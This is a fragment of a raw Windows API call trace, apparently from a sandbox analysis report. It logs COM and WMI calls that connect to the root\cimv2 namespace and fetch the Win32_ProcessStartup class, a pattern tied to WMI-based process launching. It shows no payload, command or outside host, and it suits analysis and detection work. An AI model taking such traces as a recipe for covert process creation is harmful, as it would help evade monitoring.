ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0080.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0080.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c021520) returned 0x0 [0080.092] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021520, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.092] WbemDefPath:IUnknown:Release (This=0x1c021520) returned 0x3 [0080.092] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0080.092] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0080.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0080.092] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x2 [0080.092] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x1 [0080.092] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0080.092] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0080.092] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02e7f0) returned 0x0 [0080.092] WbemDefPath:IUnknown:AddRef (This=0x1c02e7f0) returned 0x3 [0080.092] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x2 [0080.092] WbemDefPath:IWbemPath:SetText (This=0x1c02e7f0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e7f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e7f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e7f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e7f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e7f0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0080.093] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.093] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0080.093] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0080.093] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0080.093] IUnknown:Release (This=0x111f638) returned 0x1 [0080.095] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c021560) returned 0x0 [0080.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021560, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0080.095] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021560, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c02e8b0) returned 0x0 [0080.096] WbemDefPath:IUnknown:Release (This=0x1c021560) returned 0x0 [0080.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c02e8b0) returned 0x0 [0080.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0080.096] WbemDefPath:IUnknown:AddRef (This=0x1c02e8b0) returned 0x3 [0080.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0080.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0080.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c0215a0) returned 0x0 [0080.096] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0215a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.096] WbemDefPath:IUnknown:Release (This=0x1c0215a0) returned 0x3 [0080.096] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0080.096] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0080.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0080.097] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x2 [0080.097] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x1 [0080.097] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0080.097] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0080.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e8b0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c02e8b0) returned 0x0 [0080.097] WbemDefPath:IUnknown:AddRef (This=0x1c02e8b0) returned 0x3 [0080.097] WbemDefPath:IUnknown:Release (This=0x1c02e8b0) returned 0x2 [0080.097] WbemDefPath:IWbemPath:SetText (This=0x1c02e8b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0080.097] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e8b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0080.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.097] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0080.097] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0080.097] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0080.097] IUnknown:Release (This=0x111f638) returned 0x1 [0080.208] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c0216a0) returned 0x0 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0080.209] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0216a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c0216c0) returned 0x0 [0080.209] WbemLocator:IUnknown:Release (This=0x1c0216a0) returned 0x0 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c0216c0) returned 0x0 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0080.209] WbemLocator:IUnknown:AddRef (This=0x1c0216c0) returned 0x3 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0080.209] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0080.209] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0080.210] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0080.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0080.210] WbemLocator:IUnknown:Release (This=0x1c0216c0) returned 0x2 [0080.210] WbemLocator:IUnknown:Release (This=0x1c0216c0) returned 0x1 [0080.210] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0080.210] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0080.210] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0216c0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c0216c0) returned 0x0 [0080.210] WbemLocator:IUnknown:AddRef (This=0x1c0216c0) returned 0x3 [0080.210] WbemLocator:IUnknown:Release (This=0x1c0216c0) returned 0x2 [0080.210] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e8b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.210] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0080.210] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e8b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.211] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c0216e0) returned 0x0 [0080.211] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c0216e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c017f90) returned 0x0 [0080.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1c017f90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97320) returned 0x0 [0080.306] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97320, pProxy=0x1c017f90, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0080.306] WbemLocator:IUnknown:Release (This=0x1bf97320) returned 0x1 [0080.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1c017f90, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97360) returned 0x0 [0080.306] WbemLocator:IUnknown:QueryInterface (in: This=0x1c017f90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97320) returned 0x0 [0080.306] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97320, pProxy=0x1c017f90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.306] WbemLocator:IUnknown:Release (This=0x1bf97320) returned 0x2 [0080.306] WbemLocator:IUnknown:Release (This=0x1bf97360) returned 0x1 [0080.306] CoTaskMemFree (pv=0x1c00a120) [0080.307] WbemLocator:IUnknown:AddRef (This=0x1c017f90) returned 0x2 [0080.307] WbemLocator:IUnknown:Release (This=0x1c0216e0) returned 0x0 [0080.308] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0080.308] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0080.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1c017f90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97330) returned 0x0 [0080.308] WbemLocator:IRpcOptions:Query (in: This=0x1bf97330, pPrx=0x1c021740, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0080.308] WbemLocator:IUnknown:Release (This=0x1bf97330) returned 0x2 [0080.308] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0080.308] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0080.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1c017f90, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c017f90) returned 0x0 [0080.309] WbemLocator:IUnknown:Release (This=0x1c017f90) returned 0x2 [0080.309] SysStringLen (param_1=0x0) returned 0x0 [0080.309] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0080.309] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0080.310] IWbemServices:GetObject (in: This=0x1c017f90, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c028680, ppCallResult=0x0) returned 0x0 [0080.314] IWbemClassObject:Get (in: This=0x1c028680, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0080.315] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0080.315] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0080.315] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0080.315] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0080.315] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0080.315] IUnknown:Release (This=0x111f638) returned 0x1 [0080.319] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c0216e0) returned 0x0 [0080.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0216e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0080.319] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0216e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c02e970) returned 0x0 [0080.319] WbemDefPath:IUnknown:Release (This=0x1c0216e0) returned 0x0 [0080.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c02e970) returned 0x0 [0080.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, 